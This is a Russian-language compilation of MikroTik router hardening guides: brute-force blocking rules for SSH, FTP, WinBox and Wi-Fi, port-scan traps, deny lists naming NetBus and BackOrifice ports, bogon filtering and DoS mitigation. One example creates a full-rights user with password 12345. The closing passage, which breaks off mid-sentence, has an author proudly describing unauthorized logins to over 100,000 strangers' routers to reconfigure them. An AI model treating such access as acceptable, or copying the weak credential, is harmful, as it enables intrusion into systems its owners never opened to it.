Как настроить роутер, чтобы не дать злоумышленнику сделать перебор паролей bruteforce к Mikrotik? Как защитить Mikrotik и не дать осуществить подбор пароля к FTP? Доступ к настройкам Mikrotik можно осуществлять несколькими способами — через псевдо графический интерфейс WinBox — порт 8291, через локаль (имея физический доступ). Через веб интерфейс (www) — порт 80. И конецно как у всех Linux-подобных систем у Mikrotik имеется доступ через SSH ( порт 22). Вот как раз о защите SSH и пойдёт реч…Защитить Mikrotik от перебора паролей SSH и FTP просто, а именно: Правила в Mikrotik добавляем через консоль, либо через WinBox: Разрешаем не более 10 не правильных попыток ввода пароля к FTP серверу, в минуту, с последующей блокировкой на 1 час: ip firewall filter add chain=input protocol=tcp dst-port=21 src-address-list=ftp_blacklist action=drop comment=»drop ftp brute forcers» ip firewall filter add chain=output action=accept protocol=tcp content=»530 Login incorrect» dst-limit=1/1m,9,dst-address/1m ip firewall filter add chain=output action=add-dst-to-address-list protocol=tcp content=»530 Login incorrect» address-list=ftp_blacklist address-list-timeout=1h Для SSH — разрешаем перебор не более 1 минуты с последующей блокировкой на 3 часа ( 3 h, 3 дня — 3d ) по желанию: ip firewall filter add chain=input protocol=tcp dst-port=22 src-address-list=ssh_blacklist action=drop comment=»drop ssh brute forcers» disabled=no ip firewall filter add chain=input protocol=tcp dst-port=22 connection-state=new src-address-list=ssh_stage3 action=add-src-to-address-list address-list=ssh_blacklist address-list-timeout=3h comment=»» disabled=no ip firewall filter add chain=input protocol=tcp dst-port=22 connection-state=new src-address-list=ssh_stage2 action=add-src-to-address-list address-list=ssh_stage3 address-list-timeout=1m comment=»» disabled=no ip firewall filter add chain=input protocol=tcp dst-port=22 connection-state=new src-address-list=ssh_stage1 action=add-src-to-address-list address-list=ssh_stage2 address-list-timeout=1m comment=»» disabled=no ip firewall filter add chain=input protocol=tcp dst-port=22 connection-state=new action=add-src-to-address-list address-list=ssh_stage1 address-list-timeout=1m comment=»» disabled=no Затем, для наглядности через WinBox, передвигаем их в нужное место.
Как настроить Mikrotik? Как защитить Mikrotik от вражеских вторжений из вне? Первоначальная настройка Mikrotik — роутера (маршрутизатора). Первоначальная защита Mikrotik. Для защиты Mikrotik маршрутизатора необходимо: 1. Сменить пароля администратора. 2. Отключить лишние, не востребованные сервисы. 3. Включить NAT 4. Настроить Firewall — организовать фильтрацию и прохождение пакетов. P.S. после команды setup, R, — роутер сотрёт все настройки, но не пароли, к нему можно подключиться через WinBox по IP — 192.168.88.1 Настройка из консоли: имя admin, пароль пустой. Если вы забудете пароль — вас спасёт только полный резет — переустановка маршрутизатора! Меняем пароль: >user edit admin password Открывается редактор, — вводим новый пароль. Для сохранения и ыхода жмём Ctrl+o (контрл и одновременно букву о) Можно добавить нового пользователя, на всякий случай: >use add name=mkt password=12345 group=full Смотрим какие есть интерфейсы: >interface print Flags: D — dynamic, X — disabled, R — running, S — slave # NAME TYPE MTU L2MTU MAX-L2MTU 0 X ;;; WAN ether1 ether 1500 1600 1600 1 X ;;; LAN ether2 ether 1500 1600 1600 Активируем нужные: >interface enable 0 >interface enable 1 >interface print Flags: D — dynamic, X — disabled, R — running, S — slave # NAME TYPE MTU L2MTU MAX-L2MTU 0 R ;;; WAN ether1 ether 1500 1600 1600 1 R ;;; LAN ether2 ether 1500 1600 1600 Смотрим IP: > ip address print Для примера возьмём следующие параметры: Провайдер(интернет) — 195.196.10.50 GW (шлюз) — 195.196.10.49 DNS server — 195.196.11.10, 195.196.12,10 Локальная сеть (внутренняя) — 192.168.18.0/24 Добавляем ip провайдера: >ip address add address=195.196.10.10/30 interface=ether1 Добавляем локалку: >ip address add address=192.168.18.0/24 interface=ether2 Смотрим что вышло: > ip address print Добавляем шлюз прова: > ip route add gateway=195.196.10.49 Смотрим: > ip route print Добавляем DNS провайдера интернет: > ip dns set servers=195.196.11.10,195.196.12,10 allow-remote-request=yes Включить NAT (masquerade): > ip firewall nat add chain=srcnat action=masquerade out-interface=ether1 После этих настроек у внутренней сети появится интернет. Настроить Firewall, т.е. необходимо организовать фильтрацию пакетов (цепочки input), и естественно чтобы после защиты ваша сеть смогла работать — организовать прохождение пакетов — это цепочки forward: P.S Для начала зайдите — через WinBox — IP -> Firewall -> Service Port — отключите всё Disable, оставьте то что необходимо, а именно в нашем случае pptp (VPN server), и если вы хотите задействовать встроенный FTP — ftp Добавляем правила: ip firewall filter add chain=input connection-state=invalid action=drop comment=»Drop Invalid connections» ip firewall filter add chain=input connection-state=established action=accept comment=»Allow Established connections» ip firewall filter add chain=input protocol=udp action=accept comment=»Allow UDP» ip firewall filter add chain=input protocol=icmp action=accept comment=»Allow ICMP» ip firewall filter add chain=input src-address=192.168.0.0/24 action=accept comment=»Allow access from local network» Следующие два правила — если вы хотите настроить доступ через ваш Mikrotik, в вашу внутреннюю сеть по VPN (pptp server) Первое — открывает порт 1723, второе разрешает протокол 47(GRE). ip firewall filter add chain=input action=accept protocol=tcp dst-port=1723 comment=»Allow access to VPN» ip firewall filter add chain=input action=accept protocol=gre comment=»If you have a VPN (pptp server)» Следующее правило позволяет подключаться к вашему Mikrotik через WinBox (порт по умолчанию 8291) P.S Естественно нужно настроить «IP Service LIST» IP -> Services -> IP Service List, щёлкнуть мышкой по строчке winbox, откроется окно редактирования данных -> изменить IP на тот, с которого вы будете подключаться, тоже самое необходимо проделать с SSH и WWW, все остальные сервисы отключить — disable. (ip_address_allow — ваш IP) ip firewall filter add chain=input action=accept protocol=tcp src-address=ip_address_allow dst-port=8291 comment=»Allow access over WinBox» ip firewall filter add chain=input action=accept protocol=tcp src-address=ip_address_allow dst-port=22 comment=»Allow access over SSH» ip firewall filter add chain=input action=accept protocol=tcp src-address=ip_address_allow dst-port=80 comment=»Allow access over WWW» Если вы хотите задействовать встроенный FTP: ip firewall filter add chain=input action=accept protocol=tcp src-address=ip_address_allow dst-port=21 comment=»Allow access to FTP» Всё остальное рубим: ip firewall filter add chain=input action=drop comment=»Drop reject all other» Для защиты сети вам необходимо проверять весь трафик, проходящий через маршрутизатор и блокировать нежелательный. ip firewall filter add chain=forward protocol=tcp connection-state=invalid action=drop comment=»Drop invalid connections» ip firewall filter add chain=forward connection-state=established action=accept comment=»Allow already established connections» ip firewall filter add chain=forward connection-state=related action=accept comment=»Allow related connections» На всякий случай разрешаем прохождение GRE протокола: ip firewall filter add chain=forward protocol=gre action=accept comment=»Allow GRE» Если у вас есть сервер VPN, для запуска RDP (удалённый рабочий стол) разрешить прохождение на порт 3389. ip firewall filter add chain=forward protocol=tcp dst-port=3389 action=accept comment=»Allow 3389″ Блокируем IP адреса внутренних сетей. ip firewall filter add chain=forward src-address=0.0.0.0/8 action=drop ip firewall filter add chain=forward dst-address=0.0.0.0/8 action=drop ip firewall filter add chain=forward src-address=127.0.0.0/8 action=drop ip firewall filter add chain=forward dst-address=127.0.0.0/8 action=drop ip firewall filter add chain=forward src-address=224.0.0.0/3 action=drop ip firewall filter add chain=forward dst-address=224.0.0.0/3 action=drop Либо: ip firewall filter add chain forward protocol=udp action=accept comment=»Allow UDP» ip firewall filter add chain forward protocol=icmp action=accept comment=»Allow ICMP Ping» Либо: Для icmp, udp и tcp трафика создадим цепочки, куда будем сбрасывать нежелательные пакеты: Создадим переход в новые цепочки ip firewall filter add chain=forward protocol=tcp action=jump jump-target=tcp ip firewall filter add chain=forward protocol=udp action=jump jump-target=udp ip firewall filter add chain=forward protocol=icmp action=jump jump-target=icmp Создадим правила tcp для цепочке tcp и запретим некоторые порты: ip firewall filter add chain=tcp protocol=tcp dst-port=69 action=drop comment=»Deny TFTP» ip firewall filter add chain=tcp protocol=tcp dst-port=111 action=drop comment=»Deny RPC portmapper» ip firewall filter add chain=tcp protocol=tcp dst-port=135 action=drop comment=»Deny RPC portmapper» ip firewall filter add chain=tcp protocol=tcp dst-port=137-139 action=drop comment=»Deny NBT» ip firewall filter add chain=tcp protocol=tcp dst-port=445 action=drop comment=»Deny Cifs» ip firewall filter add chain=tcp protocol=tcp dst-port=2049 action=drop comment=»Deny NFS» ip firewall filter add chain=tcp protocol=tcp dst-port=12345-12346 action=drop comment=»Deny NetBus» ip firewall filter add chain=tcp protocol=tcp dst-port=20034 action=drop comment=»Deny NetBus» ip firewall filter add chain=tcp protocol=tcp dst-port=3133 action=drop comment=»Deny BackOriffice» ip firewall filter add chain=tcp protocol=tcp dst-port=67-68 action=drop comment=»Deny DHCP» Запретим udp порты для цепочки udp: ip firewall filter add chain=udp protocol=udp dst-port=69 action=drop comment=»Deny TFTP» ip firewall filter add chain=udp protocol=udp dst-port=111 action=drop comment=»Deny PRC portmapper» ip firewall filter add chain=udp protocol=udp dst-port=135 action=drop comment=»Deny PRC portmapper» ip firewall filter add chain=udp protocol=udp dst-port=137-139 action=drop comment=»Deny NBT» ip firewall filter add chain=udp protocol=udp dst-port=2049 action=drop comment=»Deny NFS» ip firewall filter add chain=udp protocol=udp dst-port=3133 action=drop comment=»Deny BackOriffice» Разрешим только необходимые icmp коды для icmp цепочки: ip firewall filter add chain=icmp protocol=icmp icmp-options=0:0 action=accept comment=»Drop invalid connections» ip firewall filter add chain=icmp protocol=icmp icmp-options=3:0 action=accept comment=»Dllow established connections» ip firewall filter add chain=icmp protocol=icmp icmp-options=3:1 action=accept comment=»Allow already established connections» ip firewall filter add chain=icmp protocol=icmp icmp-options=4:0 action=accept comment=»Allow source quench» ip firewall filter add chain=icmp protocol=icmp icmp-options=8:0 action=accept comment=»Allow echo request» ip firewall filter add chain=icmp protocol=icmp icmp-options=11:0 action=accept comment=»Allow time exceed» ip firewall filter add chain=icmp protocol=icmp icmp-options=12:0 action=accept comment=»Allow parameter bad» ip firewall filter add chain=icmp action=drop comment=»deny all other types» И на последок запрещаем всё оставшееся: > ip firewall filter add chain=forward action=drop comment=»Drop all» После такой защиты Mikrotik готов к работе. Вашего маршрутизатор можно спокойно использовать как шлюз в интернет для локальной сети. Теперь спокойно и вдумчиво разбираться со всеми оставшимися интерфейсами, сервисами и графиками.
Доброго времени суток, Форумчане =) Вчера наконец допилил скрипт, созданный уважаемым vqd и он начал работать.... Сам скрипт звучал так: :local pop 3 :local mac :local wifi [/log find message~"data from unknown device"] foreach i in=$wifi do={ :set mac [:pick [/log get $i message ] 32 ([:len [/log get $i message ]]-13)] if ([:len [/log find message~("data from unknown device " . $mac)] ] >= $pop) do={ if ([/interface wireless access-list find mac-address=$mac] = "" ) do={ /interface wireless access-list add mac-address=$mac authentication=no interface=all } } } Скрипт оказался неработоспособен... В силу того, что при неудачном вводе пароля в логах не проскакивает сообщение с фразой "data from unknown device"............... Допилил скрипт и вот что получилось :local pop 4 :local mac :local wifi [/log find message~"disconnected, unicast key exchange timeout"] foreach i in=$wifi do={ :set mac [:pick [/log get $i message ] 0 ([:len [/log get $i message ]]-50)] #:log warning $mac if ([:len [/log find message~($mac . "@wlan1: disconnected, unicast key exchange timeout")] ] >= $pop) do={ if ([/interface wireless access-list find mac-address=$mac] = "" ) do={ /interface wireless access-list add mac-address=$mac authentication=no interface=all } } } #:log warning "FINISH" Закидываем скрипт в планировщик и запускаем каждые N минут Для того, чтобы в бан не попадали разрешённые девайсы, заранее добавляем их в ацесЛист...
Защита WAN-интерфейса в Mikrotik. После первоначальной настройки роутера Mikrotik его нужно защитить от сканирования и атак из WAN-интерфейса. Это нужно делать обязательно, во избежания неприятностей. Защиту внутри локальной сети тоже нужно производить, но она не так критична, хотя и важна. Сами методы разделю по пунктам. 1) Отключаем учетную запись admin. Создаем новую учетную запись, Имя должно быть не общепринятое, что-бы комбинация логин-пароль служила доп. защитой. Не используйте имена user, guest, admin и другие стандартные. Не используйте пароли 12345, qwerty и тому подобные, а также совпадающие с логином. Пароль должен быть не меньше 8 символов, содержать буквы верхнего и нижнего регистров, цифры и, в идеале, символы. Список портов TCP и UDP. Доступ из-вне отставляем только реально нужным сервисам. Если есть возможность, сервисы ограничиваем по подсетям. 3) Отключаем "поиск соседей". MNDP (Neighbor Discovery Protocol) - протокол, с его помощью роутеры MikroTik получают информацию друг о друге и могут выполнить автоматическую настройку некоторых функций. Однако протокол MNDP передает информацию о версии операционной системы и функции, которые включены в роутере. Отключаем в ip/neighbors поиск на WAN-интерфейсе. 4) Отключаем подключение к роутеру по MAC-адресу из-вне в Tools/MAC Server. На вкладках Telnet Interfaces и WinBox Interfaces добавляем интерфейс LAN, удаляем если есть любые другие интерфейсы и отключаем интерфейс "*all". Теперь идет настройка непосредственно firewall, правила имеют очередность, поэтому команды выполнять в последовательности. Перед началом работ сделайте бекап. И помните - удаленная настройка фаервола -к выезду! 5) Организовываем ловушку от перебора портов. Грубый метод. В пункте 8 будет представлено более утонченное решение. Но в нашем деле все методы хороши. Теория такова, если злоумышленник будет перебирать открытые порты вашего маршрутизатора, при попадании на определенный порт, этот IP попадет в блек-лист. Порт нужно выбирать осторожно, что бы он нигде в вашей конфигурации не использовался, и был свободен. После того как определились с портом, добавим 2 правила. /ip firewall filter add action=add-src-to-address-list address-list=perebor_portov_drop address-list-timeout=30m chain=input comment=Perebor_portov_add_list dst-port=22 in-interface=ether1-velton log=yes log-prefix=Attack protocol=tcp add action=drop chain=input comment=Perebor_portov_list_drop in-interface=ether1-velton src-address-list=perebor_portov_drop Первым правилом при обращении на порт 22 IP добавляем в дроп-лист "perebor_portov_drop". Вторым правилом - баним его. В последнем скриншоте этих правила нет, но они идут в начале списка в /ip firewall filter. * На "MUM Москва 2016" докладчик рассказывал, что ловит злоумышленников в эту ловушку на популярные порты. Например SSH (22/TCP) или RDP (3389/TCP). Можно еще добавить SIP-порт (5060). Вероятность скана именно этих портов - велика. Если вы их не используете для доступа из-все (что разумно) - смело можно воспользоваться этим методом. 6) Ограничиваем количество ICMP-запросов (делаем защиту от флуд-пинг). Вводим дополнительное правило Drop для отслеживания ICMP Drop. Последнее правило не обязательно - нужно лишь для визуального представления администратору сколько пакетов словилось. Необязательное - потому-как в конце у нас все не разрешенные запросы с WAN - блокируются. /ip firewall filter add chain=input comment=Allow_limited_pings in-interface=ether1-velton limit=\ 50/5s,2:packet protocol=icmp add action=drop chain=input comment=Pings_Drop in-interface=ether1-velton \ protocol=icmp 7) Ставим лимит входящих соединений. Если с одного IP адреса подключений больше лимита, то этот IP попадает в "черный список" и в дальнейшем блокируется. Например /ip firewall filter add chain=input protocol=tcp connection-limit=LIMIT,32 \ action=add-src-to-address-list address-list=blocked-addr address-list-timeout=1d Где LIMIT - максимальное количество соединений в определенного IP. Предел должен быть от 100 и выше, так как многие услуги, используют несколько соединений (HTTP, Torrent, и другие P2P-программы). После того как пакеты добавлены в address-list можно выставить их drop или опцию tarpit. Она позволяет вместо того чтобы просто удалять пакеты атакующего - захватить и удерживать соединения и с достаточно мощным маршрутизатором это может замедлить скорость атаки. /ip firewall filter add chain=input protocol=tcp src-address-list=blocked-addr \ connection-limit=3,32 action=tarpit Но нам такие сложности не к чему, просто добавим правило с лимитом 200 соединений с одного IP и блоком на сутки: /ip firewall filter add action=add-dst-to-address-list address-list=connection-limit \ address-list-timeout=1d chain=input comment=Connection_limit \ connection-limit=200,32 in-interface=ether1-velton protocol=tcp add action=drop chain=input comment=Adr_list_connection-limit_drop \ in-interface=ether1-velton src-address-list=connection-limit 8) Включаем защиту от сканеров портов на WAN-интерфейсе: /ip firewall filter add action=drop chain=input comment=Port_scanner_drop src-address-list=\ "port scanners" add action=add-src-to-address-list address-list="port scanners" \ address-list-timeout=2w chain=input in-interface=ether1-velton protocol=\ tcp psd=21,3s,3,1 add action=add-src-to-address-list address-list="port scanners" \ address-list-timeout=2w chain=input in-interface=ether1-velton protocol=\ tcp tcp-flags=fin,!syn,!rst,!psh,!ack,!urg add action=add-src-to-address-list address-list="port scanners" \ address-list-timeout=2w chain=input in-interface=ether1-velton protocol=\ tcp tcp-flags=fin,syn add action=add-src-to-address-list address-list="port scanners" \ address-list-timeout=2w chain=input in-interface=ether1-velton protocol=\ tcp tcp-flags=syn,rst add action=add-src-to-address-list address-list="port scanners" \ address-list-timeout=2w chain=input in-interface=ether1-velton protocol=\ tcp tcp-flags=fin,psh,urg,!syn,!rst,!ack add action=add-src-to-address-list address-list="port scanners" \ address-list-timeout=2w chain=input in-interface=ether1-velton protocol=\ tcp tcp-flags=fin,syn,rst,psh,ack,urg add action=add-src-to-address-list address-list="port scanners" \ address-list-timeout=2w chain=input in-interface=ether1-velton protocol=\ tcp tcp-flags=!fin,!syn,!rst,!psh,!ack,!urg 9) Защищаем от перебора паролей подключения по нестандартному порту к WinBox и SSH из вне. Комментарии читать снизу-вверх. /ip firewall filter # все IP в black_list - отклоняем add action=drop chain=input comment=Drop_winbox_black_list dst-port=5323,5324 \ in-interface=ether1-velton protocol=tcp src-address-list=black_list # если новые подключения с адрес-листа Winbox_Ssh_stage3 продолжаются - заносим в новый адрес-лист black_list на 5 минут. add action=add-src-to-address-list address-list=black_list \ address-list-timeout=5m chain=input comment=Winbox_add_black_list \ connection-state=new dst-port=5323,5324 in-interface=ether1-velton \ protocol=tcp src-address-list=Winbox_Ssh_stage3 # если новые подключения с адрес-листа Winbox_Ssh_stage2 продолжаются - заносим в новый адрес-лист Winbox_Ssh_stage3 add action=add-src-to-address-list address-list=Winbox_Ssh_stage3 \ address-list-timeout=1m chain=input comment=Winbox_Ssh_stage3 \ connection-state=new dst-port=5323,5324 in-interface=ether1-velton \ protocol=tcp src-address-list=Winbox_Ssh_stage2 # если новые(значит была неудачная попытка, например - неправильный пароль, и соединение разорвалось) подключения с адрес-листа Winbox_Ssh_stage1 продолжаются - заносим в новый адрес-лист Winbox_Ssh_stage2 add action=add-src-to-address-list address-list=Winbox_Ssh_stage2 \ address-list-timeout=1m chain=input comment=Winbox_Ssh_stage2 \ connection-state=new dst-port=5323,5324 in-interface=ether1-velton \ protocol=tcp src-address-list=Winbox_Ssh_stage1 # заносим все айпи, которые создали новые подключения на наши порты в адрес-лист на 1 минуту add action=add-src-to-address-list address-list=Winbox_Ssh_stage1 \ address-list-timeout=1m chain=input comment=Winbox_Ssh_stage1 \ connection-state=new dst-port=5323,5324 in-interface=ether1-velton \ protocol=tcp # разрешаем подключение к Winbox и Ssh по портам 5323 и 5324 add chain=input comment=Accept_Winbox_Ssh dst-port=5323,5324 in-interface=\ ether1-velton protocol=tcp 10) Блокируем bogon-сети. Это зарезервированные диапазоны IP адресов которые еще не были закреплены ни за одним провайдером в мире. Это свободные/пустые диапазоны. Частные сети прячутся от интернета средствами компании или провайдером. Поэтому если к вам вдруг прилетает пакет с сорсом из этих списков, ничего хорошего он принести не может. Bogon IP часто используют злые хакеры для своих вредоносных атак. Актуальный список сетей можно посмотреть тут: http://www.team-cymru.org/Services/Bogons/bogon-bn-nonagg.txt. /ip firewall address-list add address=0.0.0.0/8 disabled=no list=BOGON add address=10.0.0.0/8 disabled=no list=BOGON add address=100.64.0.0/10 disabled=no list=BOGON add address=127.0.0.0/8 disabled=no list=BOGON add address=169.254.0.0/16 disabled=no list=BOGON add address=172.16.0.0/12 disabled=no list=BOGON add address=192.0.0.0/24 disabled=no list=BOGON add address=192.0.2.0/24 disabled=no list=BOGON add address=192.168.0.0/16 disabled=no list=BOGON add address=198.18.0.0/15 disabled=no list=BOGON add address=198.51.100.0/24 disabled=no list=BOGON add address=203.0.113.0/24 disabled=no list=BOGON add address=224.0.0.0/4 disabled=no list=BOGON add address=240.0.0.0/4 disabled=no list=BOGON Само запрещающее правило: /ip firewall filter add action=drop chain=input comment=Bogon_Wan_Drop in-interface=ether1-velton \ src-address-list=BOGON 11) Разрешаем все уже установленные подключения (connection state=established). Established - Существующее соединение. Пакет относится у уже установленному соединению, обрабатываемому в данный момент маршрутизатором. add chain=input comment=Established_Wan_Accept connection-state=established 12) Разрешаем все зависимые подключения (connection state=related). Related – Связанное соединение. Пакет, который связан с существующим соединением, но не является его частью. Например, пакет, который начинает соединение передачи данных в FTP-сессии (он будет связан с управляющим соединением FTP), или пакет ICMP, содержащий ошибку, отправляемый в ответ на другое соединение. add chain=input comment=Related_Wan_Accept connection-state=related13) Блокируем все входящие соединения с WAN. add action=drop chain=input comment=Drop_all_WAN in-interface=ether1-velton------------------- Визуально последовательность правил выглядит так: Это минимальная настройка безопасности. Если вы хотите разрешить подключение VPN к роутеру, то как минимум нужно открыть порт. Например, для соединений по порту 1723 (PPTP): /ip firewall filter add chain=input dst-port=1723 protocol=tcp Так же рекомендую использовать скрипт Оповещение администратора о входе в Mikrotik. Метод защиты сервисов, на которые проброшенные порты с Mikrotik описан в статье тут. Защита Mikrotik. Часть 2: Мания преследования. В дополнение к основной статье Защита WAN-интерфейса в Mikrotik хочется отметить несколько важных моментов в безопасности вашего маршрутизатора. Описанные тут пункты не имеют критически важное значение в защите роутера Mikrotik, но, в комплексе, помогают защитить маршрутизатор еще лучше. Я специально буду продолжать пункты, описанные в предыдущем материале, что бы подчеркнуть - эта статья является продолжением и дополнением первой и отдельно рассматриваться не может. Не смотря на запрещающее правило в пункте 13 ("add action=drop chain=input comment=Drop_all_WAN in-interface=ether1-velton") в конце первой статьи, рекомендую проверить активность сервисов. Если какой-то сервис не используется - в целях безопасности его отключить. 14) Проверяем сервис SNMP в IP/SNMP. По-умолчанию он выключен. Если мы его не используем - проследите что-бы не стояла галочка Enabled. Если используем - позаботитесь о его защите. RoMon (Tools/RoMon) - нечего светить лишнее в сети. По-умолчанию он тоже отключен. 16) Если вы используете NTP-сервер, проследите что-бы порт 123/UDP снаружи был закрыт. Если вы используете общее запрещающее правило как в пункте 13 - доп. правило для этого порта писать не нужно. 17) Если вы не используете общее запрещающее правило, то при включении галочки Allow Remote Requests в DNS Settings ваш роутер будет отвечать на все ДНС-запросы со всех интерфейсов. Именно поэтому очень часто многие админы сталкиваются с днс-флудом на внешнем интерфейсе. Обязательно используем запрещающее правило для закрытия этой уязвимости: /ip firewall filter add chain=input action=drop protocol=udp in-interface=ether1 dst-port=53 18) Если вы используете доступ на веб-интерфейс из-вне, вы ОБЯЗАТЕЛЬНО должны ограничить по подсетям или отключить сервис http - как не безопасный протокол. Вместо него нужно использовать https с самоподписанным SSL-сертификатом и нестандартным портом. Как это реализовать описано в статье Подключение к веб-интерфейсу Mikrotik используя ssl протокол. Нужно помнить - если вы добавите графики и не ограничите их отображение по подсетям, то любой человек сможет увидеть движение трафика по интерфейсам. 19) В Tools/MAC Server отключаем Mac Ping Server. Это отключит отклик устройства при пинге через MAC-ping. /tool mac-server ping set enabled=no 20) MAC-адрес содержит информацию о производителе устройства. В первых шести символах MAC-адреса имеется информация о вендоре (производителе) устройства. Определив производителя злоумышленник может подобрать метод взлома. Например, 00:00:0C - Cisco Systems, Inc. Поэтому рекомендуется изменить MAC-адрес нашего роутера на внешнем интерфейсе. /interface ethernet set ether1 mac-address=XX:XX:XX:XX:XX:XX Следует помнить, что изменяя MAC вы можете спровоцировать конфликт, поэтому будьте осторожны. Я использую MAC устройств, которые врятли появятся у меня в сети, например 9C:93:4E - Xerox Corporation. Посмотреть информацию по физическим адресам разных вендоров можно тут: http://www.coffer.com/mac_find/ Изменив MAC-мы запутаем взломщика, а значит это плюс к безопасности. В сети есть материал, где человек придумал скрипт, который периодически меняет MAC на WAN-интерфейсе. Эта схема будет работать, если у вашего провайдера нет привязки на физический адрес. 21) Что-бы защитится от "подмены аплинка", а именно, защитить свой маршрутизатор от злоумышленника, который вмешается в сеть L2 между вами и провайдером и захочет "хакнуть" ваше устройство можно на WAN-порту поставить опцию опцию ARP "reply only" и занести MAC-адрес провайдерского конечного устройства в таблицу ARP интерфейса. Тем самым злоумышленнику будет не достаточно просто ввести IP, ему нужно будет еще подобрать MAC для связи с вашим роутером. Это делается командой /interface ethernet set ether1 arp=reply-only Стоит учитывать - при такой схеме, если провайдер поменяет оборудование - вам придется внести новый MAC провайдера в ARP-таблицу WAN-интерфейса, иначе связи не будет. 22) Периодически делайте ревизию Discovery-интерфейсов (смотри пункт 3 первой статьи). Дело в том, что созданные новые интерфейсы (pptp, l2tp и любые другие) автоматически попадают в Neighbor Discovery - и остаются там активные, пока вы их не отключите. А это - информация всем на интерфейсе о модели устройства, о версии OS, о MAC и IP адресах,об UpTime, наличии IPv6 и прочее. 23) Если говорить о Neighbor, то при отключении Discovery-интерфейсов невозможно посмотреть информацию об других устройствах на этом интерфейсе. А очень бы хотелось свою информацию скрыть, а информацию об соседних устройствах иметь. Для этого не достаточно добавить запрещающее правило udp с портом 5678 на ван-интерфейс /ip firewall filter add chain=output action=drop protocol=udp dstport=5678 out-interface=ether1 Neighbor использует не только UDP, но и L2 протокол CDP/VDP, а это значит заблочить его Firewall невозможно. Нужно либо полностью отключать службу Neighbors на интерфейсе командой /ip neighbor discovery set ether1 discover=no либо фильтровать исходящий L2 трафик на предмет MNDP-пакетов с помощью bridge filters. Например, вот так: /interface bridge filter add action=drop chain=output disabled=no dst-mac-address=01:00:0C:CC:CC:CC/FF:FF:FF:FF:FF:FF out-interface=ether1 Так же в 6.38 наконец-то добавлена поддержка открытого протокола LLDP. Поэтому если не хотим отключать Discovery на WAN - рассылку мультикаст на MAC, согласно картинке, тоже запрещаем. 24) Не используйте службу FTP, встроенную в Mikrotik без ограничений по подсетям! При Telnet-подключении все наблюдают такое приглашение: "220 MikroTik-951 FTP server (MikroTik 6.38) ready". А это значит мы можем показать злоумышленнику производителя, модель устройства и его версию RouterOS. Кроме того, при взломе ftp-аккаунта злоумышленник сможет скопировать бекап и вытянуть пароль, выполнить файл типа rsc.auto, загрузить свои пакеты типа "system" и прочее. 25) Если роутер стоит в помещении, где могут находится посторонние люди и в нем есть LCD-дисплей с сенсорным вводом (например как в RB2011), то желательно его отключить - дабы не смущать своим видом людей, мало-ли кто-то захочет потыкать туда пальчиком. 26) Последний пункт является информационным. В Mikrotik есть возможность спрятать информацию о системе которая передается в пакетах TCP - заголовках пакета, опциях, информации об ОС ваших компьютеров и т.д. Это можно сделать и для транзитного трафика проходящего от вашего компьютера через Mikrotik в Интернет. Тем самым мы можем запутать злоумышленника. Для этого в Firewall есть несколько инструментов. change-dscp - изменение значение поля DSCP (точка кода дифференцированных услуг), другим параметром new-dscp; change-mss - изменение максимального размера сегмента пакета на значение, определенное параметром new-mss; change-ttl - изменение значения "время жизни пакета" на значение, определенное параметром new-ttl; clear-df - очищение флага "не фрагментировать"; strip-ipv4-options - очищение IPv4-опций из IP пакета. Настройка довольно тонкая и зависит от конкретного случая - материал отдельной статьи.
Защита от DoS атак на роутерах Mikrotik и Router OS DoS (отказ в обслуживании) атаки могут привести к перегрузке маршрутизатора. Это означает, что загрузка процессора возрастает до 100%, а маршрутизатор может стать недоступным. Вообще нет идеального решения для защиты от атак DoS. Каждый сервис может стать перегруженым от слишком дольшого колличества запросов. Но есть некоторые методы для сведения к минимуму последствий атаки. Установить более мощный маршрутизатор или сервер. Расширить входящий канал. Уменьшите количество правил брандмауэра, очереди и другие действия обработки пакетов Отслеживание пути атаки и блокировать его ближе к источнику (на стороне вышестоящего провайдера). Диагностика DoS атаки на роутере миротик. (TCP SYN flood) Проверяем не слишком ли много связей с SYN-SENT настоящее время? /ip firewall connection print Проверфем не слишком ли много пакетов в секунду происходит через интерфейс? /interface monitor-traffic ether2 Проверяем загрузку процессора 100%? /system resource monitor Проверяем колличество подозрительных соединений. /tool torch Защита от таких атак. Лимит входящих соединений. Если с одного IP адреса подключений больше лимита, то этот IP попадает в "черный список" и в дльнейшем блокируется. /ip firewall filter add chain=input protocol=tcp connection-limit=LIMIT,32 \ action=add-src-to-address-list address-list=blocked-addr address-list-timeout=1d Где LIMIT - максимальное количество соединений в определенного IP. Предел должен быть от 100 и выше, так как многие услуги, используют несколько соединений (HTTP, Torrent, и другие P2P-программы). Опция tarpit Вместо того чтобы просто удалять пакеты атакующего, маршрутизатор может захватить и удерживать соединения и с достаточно мощным маршрутизатором это может замедлить скорость атаки. /ip firewall filter add chain=input protocol=tcp src-address-list=blocked-addr \ connection-limit=3,32 action=tarpit SYN Фильтрация Некоторые расширенные возможности фильтрации может влиять на состояние пакетов TCP. /ip firewall filter add chain=forward protocol=tcp tcp-flags=syn connection-state=new \ action=jump jump-target=SYN-Protect comment="SYN Flood protect" disabled=yes /ip firewall filter add chain=SYN-Protect protocol=tcp tcp-flags=syn limit=400,5 connection-state=new \ action=accept comment="" disabled=no /ip firewall filter add chain=SYN-Protect protocol=tcp tcp-flags=syn connection-state=new \ action=drop comment="" disabled=no «syn limit = 400" является лимитом пакетов, просто включите правило в цепочке первым для пакетов SYN, чтобы пакеты удалялись (для избежания чрезмерного количества новых подключений) SYN cookies /ip firewall connection tracking set tcp-syncookie=yes
RouterOS очень мощный инструмент в руках профессионалов и ответственных специалистов. Но в руках новичков или тех, кто делает всё на «и так сойдёт» Mikrotik начинает жить своей жизнью и превращается в ноду ботнета. Ещё в мае 2018 я писал статью с рекомендациями как защитить свой Микротик. Как ни странно, но в сети до сих пор тысячи «открытых» роутеров Mikrotik и армия ботнета пополняется. Я в свободное от работы и отдыха время искал уязвимые устройства по всей сети и делал настройки в соответствии со своими рекомендациями, то есть добавлял правила фаервола, которые закрывали доступ к роутеру не из локальной сети. В комментариях писал информацию об уязвимости и оставлял адрес телеграм-канала @router_os, где можно было мне задать интересующие вопросы (у нормального админа они должны были появиться). С мая по сегодняшний день я «вырвал» из лап ботнета более 100 тысяч устройств Mikrotik. Учитывая то, что я не могу выступить на MUM 2018 в Москве, то свой доклад я решил опубликовать на habr.com здесь). Но моя статья основана лично на моём опыте. Админы и их реакция По всему миру админы маршрутизаторов рано или поздно обнаруживали у себя такую пасхалку. /system note Большинство тихо закрывало дыру. Кто-то не поленились мне написать «спасибо». Но были и те, кто громко негодовал не разобравшись. Нормальный специалист должен адекватно реагировать когда ему указывают на его ошибку. За всё время мне написало не более 50 человек… Так как реакция пользователей 